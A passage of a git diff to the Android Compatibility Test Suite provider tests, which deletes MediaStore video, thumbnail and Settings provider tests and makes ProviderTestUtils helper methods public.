-                + " --uri " + mExternalVideo,
-                InstrumentationRegistry.getInstrumentation().getUiAutomation());
-
-        // Publish some content
-        final File dir = ProviderTestUtils.stageDir(mVolumeName);
-        final Uri a = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.testvideo, new File(dir, "a.mp4")));
-        final Uri b = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.testvideo_meta, new File(dir, "b.mp4")));
-        final Uri c = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.testvideo, new File(dir, "c.mp4")));
-
-        // Confirm we can canonicalize and recover it
-        final Uri canonicalized = mContentResolver.canonicalize(b);
-        assertNotNull(canonicalized);
-        assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
-
-        // Delete all items above
-        mContentResolver.delete(a, null, null);
-        mContentResolver.delete(b, null, null);
-        mContentResolver.delete(c, null, null);
-
-        // Confirm canonical item isn't found
-        assertNull(mContentResolver.uncanonicalize(canonicalized));
-
-        // Publish data again and confirm we can recover it
-        final Uri d = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.testvideo_meta, new File(dir, "d.mp4")));
-        assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
-    }
-
-    @Test
-    public void testMetadata() throws Exception {
-        final Uri uri = ProviderTestUtils.stageMedia(R.raw.testvideo_meta, mExternalVideo,
-                "video/mp4");
-
-        try (Cursor c = mContentResolver.query(uri, null, null, null)) {
-            assertTrue(c.moveToFirst());
-
-            // Confirm that we parsed Exif metadata
-            assertEquals(9296, c.getLong(c.getColumnIndex(VideoColumns.DURATION)));
-            assertEquals(1920, c.getLong(c.getColumnIndex(VideoColumns.WIDTH)));
-            assertEquals(1080, c.getLong(c.getColumnIndex(VideoColumns.HEIGHT)));
-
-            // Confirm that we parsed XMP metadata
-            assertEquals("xmp.did:051dfd42-0b46-4302-918a-836fba5016ed",
-                    c.getString(c.getColumnIndex(VideoColumns.DOCUMENT_ID)));
-            assertEquals("xmp.iid:051dfd42-0b46-4302-918a-836fba5016ed",
-                    c.getString(c.getColumnIndex(VideoColumns.INSTANCE_ID)));
-            assertEquals("4F9DD7A46B26513A7C35272F0D623A06",
-                    c.getString(c.getColumnIndex(VideoColumns.ORIGINAL_DOCUMENT_ID)));
-
-            // Confirm that timestamp was parsed
-            assertEquals(1539711603000L, c.getLong(c.getColumnIndex(VideoColumns.DATE_TAKEN)));
-
-            // We just added and modified the file, so should be recent
-            final long added = c.getLong(c.getColumnIndex(VideoColumns.DATE_ADDED));
-            final long modified = c.getLong(c.getColumnIndex(VideoColumns.DATE_MODIFIED));
-            final long now = System.currentTimeMillis() / 1000;
-            assertTrue("Invalid added time " + added, Math.abs(added - now) < 5);
-            assertTrue("Invalid modified time " + modified, Math.abs(modified - now) < 5);
-
-            // Confirm that we trusted value from XMP metadata
-            assertEquals("video/dng", c.getString(c.getColumnIndex(VideoColumns.MIME_TYPE)));
-
-            assertEquals(20716, c.getLong(c.getColumnIndex(VideoColumns.SIZE)));
-
-            final String displayName = c.getString(c.getColumnIndex(VideoColumns.DISPLAY_NAME));
-            assertTrue("Invalid display name " + displayName, displayName.startsWith("cts"));
-            assertTrue("Invalid display name " + displayName, displayName.endsWith(".mp4"));
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
deleted file mode 100644
index 9d39c1c..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
+++ /dev/null
@@ -1,278 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.media.MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT;
-import static android.media.MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.graphics.Bitmap;
-import android.media.MediaMetadataRetriever;
-import android.net.Uri;
-import android.os.FileUtils;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Files;
-import android.provider.MediaStore.Video.Media;
-import android.provider.MediaStore.Video.Thumbnails;
-import android.provider.MediaStore.Video.VideoColumns;
-import android.util.Log;
-import android.util.Size;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Video_ThumbnailsTest {
-    private static final String TAG = "MediaStore_Video_ThumbnailsTest";
-
-    private Context mContext;
-    private ContentResolver mResolver;
-
-    private boolean hasCodec() {
-        return MediaUtils.hasCodecForResourceAndDomain(
-                mContext, R.raw.testthumbvideo, "video/");
-    }
-
-    private Uri mExternalVideo;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
-    }
-
-    @Test
-    public void testGetContentUri() {
-        Uri internalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.INTERNAL_VOLUME_NAME);
-        Uri externalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.EXTERNAL_VOLUME_NAME);
-        assertEquals(Thumbnails.INTERNAL_CONTENT_URI, internalUri);
-        assertEquals(Thumbnails.EXTERNAL_CONTENT_URI, externalUri);
-    }
-
-    @Test
-    public void testGetThumbnail() throws Exception {
-        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-
-        // Insert a video into the provider.
-        Uri videoUri = insertVideo();
-        long videoId = ContentUris.parseId(videoUri);
-        assertTrue(videoId != -1);
-        assertEquals(ContentUris.withAppendedId(Media.EXTERNAL_CONTENT_URI, videoId),
-                videoUri);
-
-        // Don't run the test if the codec isn't supported.
-        if (!hasCodec()) {
-            // Calling getThumbnail should not generate a new thumbnail.
-            MediaStore.waitForIdle(mContext);
-            assertNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MINI_KIND, null));
-            Log.i(TAG, "SKIPPING testGetThumbnail(): codec not supported");
-            return;
-        }
-
-        // Calling getThumbnail should generate a new thumbnail.
-        MediaStore.waitForIdle(mContext);
-        assertNotNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MINI_KIND, null));
-        assertNotNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MICRO_KIND, null));
-
-        assertEquals(1, mResolver.delete(videoUri, null, null));
-    }
-
-    @Test
-    public void testThumbnailGenerationAndCleanup() throws Exception {
-        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-
-        if (!hasCodec()) {
-            // we don't support video, so no need to run the test
-            Log.i(TAG, "SKIPPING testThumbnailGenerationAndCleanup(): codec not supported");
-            return;
-        }
-
-        // insert a video
-        Uri uri = insertVideo();
-
-        // request thumbnail creation
-        MediaStore.waitForIdle(mContext);
-        assertNotNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
-                Thumbnails.MINI_KIND, null /* options */));
-
-        // delete the source video and check that the thumbnail is gone too
-        mResolver.delete(uri, null /* where clause */, null /* where args */);
-        MediaStore.waitForIdle(mContext);
-        assertNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
-                Thumbnails.MINI_KIND, null /* options */));
-
-        // insert again
-        uri = insertVideo();
-
-        // request thumbnail creation
-        MediaStore.waitForIdle(mContext);
-        assertNotNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
-                Thumbnails.MINI_KIND, null));
-
-        // update the media type
-        ContentValues values = new ContentValues();
-        values.put("media_type", 0);
-        assertEquals("unexpected number of updated rows",
-                1, mResolver.update(uri, values, null /* where */, null /* where args */));
-
-        // video was marked as regular file in the database, which should have deleted its thumbnail
-        MediaStore.waitForIdle(mContext);
-        assertNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
-                Thumbnails.MINI_KIND, null /* options */));
-
-        // check source no longer exists as video
-        Cursor c = mResolver.query(uri,
-                null /* projection */, null /* where */, null /* where args */, null /* sort */);
-        assertFalse("source entry should be gone", c.moveToNext());
-        c.close();
-
-        // check source still exists as file
-        Uri fileUri = ContentUris.withAppendedId(
-                Files.getContentUri("external"),
-                Long.valueOf(uri.getLastPathSegment()));
-        c = mResolver.query(fileUri,
-                null /* projection */, null /* where */, null /* where args */, null /* sort */);
-        assertTrue("source entry should be gone", c.moveToNext());
-        String sourcePath = c.getString(c.getColumnIndex("_data"));
-        c.close();
-
-        // clean up
-        mResolver.delete(fileUri, null /* where */, null /* where args */);
-        new File(sourcePath).delete();
-    }
-
-    private Uri insertVideo() throws IOException {
-        File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
-                "testVideo" + System.nanoTime() + ".3gp");
-        // clean up any potential left over entries from a previous aborted run
-        mResolver.delete(Media.EXTERNAL_CONTENT_URI,
-                "_data=?", new String[] { file.getAbsolutePath() });
-        file.delete();
-
-        ProviderTestUtils.stageFile(R.raw.testthumbvideo, file);
-
-        ContentValues values = new ContentValues();
-        values.put(VideoColumns.DATA, file.getAbsolutePath());
-        return mResolver.insert(Media.EXTERNAL_CONTENT_URI, values);
-    }
-
-    @Test
-    public void testInsertUpdateDelete() throws Exception {
-        final Uri finalUri = ProviderTestUtils.stageMedia(R.raw.testvideo,
-                mExternalVideo, "video/mp4");
-
-        // Directly reading should be larger
-        final Size full;
-        try (MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
-            mmr.setDataSource(mContext, finalUri);
-            full = new Size(
-                    Integer.parseInt(mmr.extractMetadata(METADATA_KEY_VIDEO_WIDTH)),
-                    Integer.parseInt(mmr.extractMetadata(METADATA_KEY_VIDEO_HEIGHT)));
-        }
-
-        // Thumbnail should be smaller
-        MediaStore.waitForIdle(mContext);
-        final Bitmap beforeThumb = mResolver.loadThumbnail(finalUri, new Size(32, 32), null);
-        assertTrue(beforeThumb.getWidth() < full.getWidth());
-        assertTrue(beforeThumb.getHeight() < full.getHeight());
-        final int beforeColor = beforeThumb.getPixel(16, 16);
-
-        // Verify legacy APIs still work
-        if (MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) {
-            for (int kind : new int[] {
-                    MediaStore.Video.Thumbnails.MINI_KIND,
-                    MediaStore.Video.Thumbnails.FULL_SCREEN_KIND,
-                    MediaStore.Video.Thumbnails.MICRO_KIND
-            }) {
-                MediaStore.waitForIdle(mContext);
-                assertNotNull(MediaStore.Video.Thumbnails.getThumbnail(mResolver,
-                        ContentUris.parseId(finalUri), kind, null));
-            }
-        }
-
-        // Edit video contents
-        try (InputStream from = mContext.getResources().openRawResource(R.raw.testthumbvideo);
-                OutputStream to = mResolver.openOutputStream(finalUri)) {
-            FileUtils.copy(from, to);
-        }
-
-        // Thumbnail should match updated contents
-        MediaStore.waitForIdle(mContext);
-        final Bitmap afterThumb = mResolver.loadThumbnail(finalUri, new Size(32, 32), null);
-        final int afterColor = afterThumb.getPixel(16, 16);
-        assertNotColorMostlyEquals(beforeColor, afterColor);
-
-        // Delete video contents
-        mResolver.delete(finalUri, null, null);
-
-        // Thumbnail should no longer exist
-        try {
-            MediaStore.waitForIdle(mContext);
-            mResolver.loadThumbnail(finalUri, new Size(32, 32), null);
-            fail("Funky; we somehow made a thumbnail out of nothing?");
-        } catch (FileNotFoundException expected) {
-        }
-    }
-
-    /**
-     * Since thumbnails might be bounced through a compression pass, we're okay
-     * if they're mostly equal.
-     */
-    private static void assertNotColorMostlyEquals(int expected, int actual) {
-        assertNotEquals(Integer.toHexString(expected & 0xF0F0F0F0),
-                Integer.toHexString(actual & 0xF0F0F0F0));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/PhotoUtil.java b/tests/tests/provider/src/android/provider/cts/PhotoUtil.java
deleted file mode 100644
index 49d57a7..0000000
--- a/tests/tests/provider/src/android/provider/cts/PhotoUtil.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.provider.cts.R;
-
-import android.content.Context;
-import com.android.compatibility.common.util.FileUtils;
-
-import java.io.InputStream;
-
-public class PhotoUtil {
-
-    public static byte[] getTestPhotoData(Context context) {
-        InputStream input = context.getResources().openRawResource(R.drawable.testimage);
-        return FileUtils.readInputStreamFully(input);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index 3e47d15..e8eb0b2 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -16,8 +16,6 @@
 
 package android.provider.cts;
 
-import static android.provider.cts.MediaStoreTest.TAG;
-
 import static com.google.common.truth.Truth.assertWithMessage;
 import static org.junit.Assert.fail;
 
@@ -33,8 +31,9 @@
 import android.os.UserManager;
 import android.provider.MediaStore;
 import android.provider.MediaStore.MediaColumns;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
+import android.provider.cts.media.MediaStoreUtils;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
@@ -65,6 +64,7 @@
  * Utility methods for provider cts tests.
  */
 public class ProviderTestUtils {
+    static final String TAG = "ProviderTestUtils";
 
     private static final int BACKUP_TIMEOUT_MILLIS = 4000;
     private static final Pattern BMGR_ENABLED_PATTERN = Pattern.compile(
@@ -75,7 +75,7 @@
 
     private static final Timeout IO_TIMEOUT = new Timeout("IO_TIMEOUT", 2_000, 2, 2_000);
 
-    static Iterable<String> getSharedVolumeNames() {
+    public static Iterable<String> getSharedVolumeNames() {
         // We test both new and legacy volume names
         final HashSet<String> testVolumes = new HashSet<>();
         testVolumes.addAll(
@@ -84,7 +84,7 @@
         return testVolumes;
     }
 
-    static String resolveVolumeName(String volumeName) {
+    public static String resolveVolumeName(String volumeName) {
         if (MediaStore.VOLUME_EXTERNAL.equals(volumeName)) {
             return MediaStore.VOLUME_EXTERNAL_PRIMARY;
         } else {
@@ -100,12 +100,12 @@
         executeShellCommand(String.format(cmd, packageName, "READ_SMS", mode), uiAutomation);
     }
 
-    static String executeShellCommand(String command) throws IOException {
+    public static String executeShellCommand(String command) throws IOException {
         return executeShellCommand(command,
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
     }
 
-    static String executeShellCommand(String command, UiAutomation uiAutomation)
+    public static String executeShellCommand(String command, UiAutomation uiAutomation)
             throws IOException {
         Log.v(TAG, "$ " + command);
         ParcelFileDescriptor pfd = uiAutomation.executeShellCommand(command.toString());
@@ -197,7 +197,7 @@
         }
     }
 
-    static File stageDir(String volumeName) throws IOException {
+    public static File stageDir(String volumeName) throws IOException {
         if (MediaStore.VOLUME_EXTERNAL.equals(volumeName)) {
             volumeName = MediaStore.VOLUME_EXTERNAL_PRIMARY;
         }
@@ -207,7 +207,7 @@
         return dir;
     }
 
-    static File stageDownloadDir(String volumeName) throws IOException {
+    public static File stageDownloadDir(String volumeName) throws IOException {
         if (MediaStore.VOLUME_EXTERNAL.equals(volumeName)) {
             volumeName = MediaStore.VOLUME_EXTERNAL_PRIMARY;
         }
@@ -215,7 +215,7 @@
                 Environment.DIRECTORY_DOWNLOADS, "android.provider.cts");
     }
 
-    static File stageFile(int resId, File file) throws IOException {
+    public static File stageFile(int resId, File file) throws IOException {
         // The caller may be trying to stage into a location only available to
         // the shell user, so we need to perform the entire copy as the shell
         final Context context = InstrumentationRegistry.getTargetContext();
@@ -248,11 +248,11 @@
         return waitUntilExists(file);
     }
 
-    static Uri stageMedia(int resId, Uri collectionUri) throws IOException {
+    public static Uri stageMedia(int resId, Uri collectionUri) throws IOException {
         return stageMedia(resId, collectionUri, "image/png");
     }
 
-    static Uri stageMedia(int resId, Uri collectionUri, String mimeType) throws IOException {
+    public static Uri stageMedia(int resId, Uri collectionUri, String mimeType) throws IOException {
         final Context context = InstrumentationRegistry.getTargetContext();
         final String displayName = "cts" + System.nanoTime();
         final PendingParams params = new PendingParams(collectionUri, displayName, mimeType);
@@ -266,19 +266,19 @@
         }
     }
 
-    static Uri scanFile(File file) throws Exception {
+    public static Uri scanFile(File file) throws Exception {
         Uri uri = MediaStore.scanFile(InstrumentationRegistry.getTargetContext(), file);
         assertWithMessage("no URI for '%s'", file).that(uri).isNotNull();
         return uri;
     }
 
-    static Uri scanFileFromShell(File file) throws Exception {
+    public static Uri scanFileFromShell(File file) throws Exception {
         Uri uri = MediaStore.scanFileFromShell(InstrumentationRegistry.getTargetContext(), file);
         assertWithMessage("no URI for '%s'", file).that(uri).isNotNull();
         return uri;
     }
 
-    static void scanVolume(File file) throws Exception {
+    public static void scanVolume(File file) throws Exception {
         MediaStore.scanVolume(InstrumentationRegistry.getTargetContext(), file);
     }
 
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsTest.java b/tests/tests/provider/src/android/provider/cts/SettingsTest.java
deleted file mode 100644
index 6d808e0..0000000
--- a/tests/tests/provider/src/android/provider/cts/SettingsTest.java
+++ /dev/null
@@ -1,354 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.Instrumentation;
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.database.ContentObserver;
-import android.database.Cursor;
-import android.database.sqlite.SQLiteException;
-import android.net.Uri;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.RemoteException;
-import android.os.SystemClock;
-import android.provider.Settings;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public class SettingsTest {
-    @BeforeClass
-    public static void setUp() throws Exception {
-        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
-                "appops set " + packageName + " android:write_settings allow");
-
-        // Wait a beat to persist the change
-        SystemClock.sleep(500);
-    }
-
-    @AfterClass
-    public static void tearDown() throws Exception {
-        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
-                "appops set " + packageName + " android:write_settings default");
-    }
-
-    @Test
-    public void testSystemTable() throws RemoteException {
-        final String[] SYSTEM_PROJECTION = new String[] {
-                Settings.System._ID, Settings.System.NAME, Settings.System.VALUE
-        };
-        final int NAME_INDEX = 1;
-        final int VALUE_INDEX = 2;
-
-        String name = Settings.System.NEXT_ALARM_FORMATTED;
-        String insertValue = "value_insert";
-        String updateValue = "value_update";
-
-        // get provider
-        ContentResolver cr = getContext().getContentResolver();
-        ContentProviderClient provider =
-                cr.acquireContentProviderClient(Settings.System.CONTENT_URI);
-        Cursor cursor = null;
-
-        try {
-            // Test: insert
-            ContentValues value = new ContentValues();
-            value.put(Settings.System.NAME, name);
-            value.put(Settings.System.VALUE, insertValue);
-
-            provider.insert(Settings.System.CONTENT_URI, value);
-            cursor = provider.query(Settings.System.CONTENT_URI, SYSTEM_PROJECTION,
-                    Settings.System.NAME + "=\"" + name + "\"", null, null, null);
-            assertNotNull(cursor);
-            assertEquals(1, cursor.getCount());
-            assertTrue(cursor.moveToFirst());
-            assertEquals(name, cursor.getString(NAME_INDEX));
-            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
-            cursor.close();
-            cursor = null;
-
-            // Test: update
-            value.clear();
-            value.put(Settings.System.NAME, name);
-            value.put(Settings.System.VALUE, updateValue);
-
-            provider.update(Settings.System.CONTENT_URI, value,
-                    Settings.System.NAME + "=\"" + name + "\"", null);
-            cursor = provider.query(Settings.System.CONTENT_URI, SYSTEM_PROJECTION,
-                    Settings.System.NAME + "=\"" + name + "\"", null, null, null);
-            assertNotNull(cursor);
-            assertEquals(1, cursor.getCount());
-            assertTrue(cursor.moveToFirst());
-            assertEquals(name, cursor.getString(NAME_INDEX));
-            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
-            cursor.close();
-            cursor = null;
-        } finally {
-            if (cursor != null) {
-                cursor.close();
-            }
-        }
-    }
-
-    @Test
-    public void testSecureTable() throws Exception {
-        final String[] SECURE_PROJECTION = new String[] {
-                Settings.Secure._ID, Settings.Secure.NAME, Settings.Secure.VALUE
-        };
-
-        ContentResolver cr = getContext().getContentResolver();
-        ContentProviderClient provider =
-                cr.acquireContentProviderClient(Settings.Secure.CONTENT_URI);
-        assertNotNull(provider);
-
-        // Test that the secure table can be read from.
-        Cursor cursor = null;
-        try {
-            cursor = provider.query(Settings.Global.CONTENT_URI, SECURE_PROJECTION,
-                    Settings.Global.NAME + "=\"" + Settings.Global.ADB_ENABLED + "\"",
-                    null, null, null);
-            assertNotNull(cursor);
-        } finally {
-            if (cursor != null) {
-                cursor.close();
-            }
-        }
-    }
-
-    private static final String[] SELECT_VALUE =
-        new String[] { Settings.NameValueTable.VALUE };
-    private static final String NAME_EQ_PLACEHOLDER = "name=?";
-
-    private void tryBadTableAccess(String table, String goodtable, String name) {
-        ContentResolver cr = getContext().getContentResolver();
-
-        Uri uri = Uri.parse("content://settings/" + table);
-        ContentValues cv = new ContentValues();
-        cv.put("name", "name");
-        cv.put("value", "xxxTESTxxx");
-
-        try {
-            cr.insert(uri, cv);
-            fail("SettingsProvider didn't throw IllegalArgumentException for insert name "
-                    + name + " at URI " + uri);
-        } catch (IllegalArgumentException e) {
-            /* ignore */
-        }
-
-        try {
-            cr.update(uri, cv, NAME_EQ_PLACEHOLDER, new String[]{name});
-            fail("SettingsProvider didn't throw SecurityException for update name "
-                    + name + " at URI " + uri);
-        } catch (IllegalArgumentException e) {
-            /* ignore */
-        }
-
-        try {
-            cr.query(uri, SELECT_VALUE, NAME_EQ_PLACEHOLDER,
-                    new String[]{name}, null);
-            fail("SettingsProvider didn't throw IllegalArgumentException for query name "
-                    + name + " at URI " + uri);
-        } catch (IllegalArgumentException e) {
-            /* ignore */
-        }
-
-
-        try {
-            cr.delete(uri, NAME_EQ_PLACEHOLDER, new String[]{name});
-            fail("SettingsProvider didn't throw IllegalArgumentException for delete name "
-                    + name + " at URI " + uri);
-        } catch (IllegalArgumentException e) {
-            /* ignore */
-        }
-
-
-        String mimeType = cr.getType(uri);
-        assertNull("SettingsProvider didn't return null MIME type for getType at URI "
-                + uri, mimeType);
-
-        uri = Uri.parse("content://settings/" + goodtable);
-        try {
-            Cursor c = cr.query(uri, SELECT_VALUE, NAME_EQ_PLACEHOLDER,
-                    new String[]{name}, null);
-            assertNotNull(c);
-            String value = c.moveToNext() ? c.getString(0) : null;
-            if ("xxxTESTxxx".equals(value)) {
-                fail("Successfully modified " + name + " at URI " + uri);
-            }
-            c.close();
-        } catch (SQLiteException e) {
-            // This is fine.
-        }
-    }
-
-    @Test
-    public void testAccessNonTable() {
-        tryBadTableAccess("SYSTEM", "system", "install_non_market_apps");
-        tryBadTableAccess("SECURE", "secure", "install_non_market_apps");
-        tryBadTableAccess(" secure", "secure", "install_non_market_apps");
-        tryBadTableAccess("secure ", "secure", "install_non_market_apps");
-        tryBadTableAccess(" secure ", "secure", "install_non_market_apps");
-    }
-
-    @Test
-    public void testUserDictionarySettingsExists() throws RemoteException {
-        final Intent intent = new Intent(Settings.ACTION_USER_DICTIONARY_SETTINGS);
-        final ResolveInfo ri = getContext().getPackageManager().resolveActivity(
-                intent, PackageManager.MATCH_DEFAULT_ONLY);
-        assertTrue(ri != null);
-    }
-
-    @Test
-    public void testNoStaleValueModifiedFromSameProcess() throws Exception {
-        final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
-                Settings.System.VIBRATE_WHEN_RINGING);
-        try {
-            for (int i = 0; i < 100; i++) {
-                final int expectedValue = i % 2;
-                Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
-                        Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
-                final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
-                        Settings.System.VIBRATE_WHEN_RINGING);
-                assertSame("Settings write must be atomic", expectedValue, actualValue);
-            }
-        } finally {
-            Settings.System.putInt(getContext().getContentResolver(),
-                    Settings.System.VIBRATE_WHEN_RINGING, initialValue);
-        }
-    }
-
-    @Test
-    public void testNoStaleValueModifiedFromOtherProcess() throws Exception {
-        final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
-                Settings.System.VIBRATE_WHEN_RINGING);
-        try {
-            for (int i = 0; i < 20; i++) {
-                final int expectedValue = i % 2;
-                SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
-                        +  Settings.System.VIBRATE_WHEN_RINGING + " " + expectedValue);
-                final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
-                        Settings.System.VIBRATE_WHEN_RINGING);
-                assertSame("Settings write must be atomic", expectedValue, actualValue);
-            }
-        } finally {
-            Settings.System.putInt(getContext().getContentResolver(),
-                    Settings.System.VIBRATE_WHEN_RINGING, initialValue);
-        }
-    }
-
-    @Test
-    public void testNoStaleValueModifiedFromMultipleProcesses() throws Exception {
-        final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
-                Settings.System.VIBRATE_WHEN_RINGING);
-        try {
-            for (int i = 0; i < 20; i++) {
-                final int expectedValue = i % 2;
-                final int unexpectedValue = (i + 1) % 2;
-                Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
-                        Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
-                SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
-                        +  Settings.System.VIBRATE_WHEN_RINGING + " " + unexpectedValue);
-                Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
-                        Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
-                final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
-                        Settings.System.VIBRATE_WHEN_RINGING);
-                assertSame("Settings write must be atomic", expectedValue, actualValue);
-            }
-        } finally {
-            Settings.System.putInt(getContext().getContentResolver(),
-                    Settings.System.VIBRATE_WHEN_RINGING, initialValue);
-        }
-    }
-
-    @Test
-    public void testUriChangesUpdatingFromDifferentProcesses() throws Exception {
-        final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
-                Settings.System.VIBRATE_WHEN_RINGING);
-
-        HandlerThread handlerThread = new HandlerThread("MyThread");
-        handlerThread.start();
-
-        CountDownLatch uriChangeCount = new CountDownLatch(4);
-        Uri uri = Settings.System.getUriFor(Settings.System.VIBRATE_WHEN_RINGING);
-        getContext().getContentResolver().registerContentObserver(uri,
-                false, new ContentObserver(new Handler(handlerThread.getLooper())) {
-                    @Override
-                    public void onChange(boolean selfChange) {
-                        uriChangeCount.countDown();
-                    }
-                });
-
-        try {
-            final int anotherValue = initialValue == 1 ? 0 : 1;
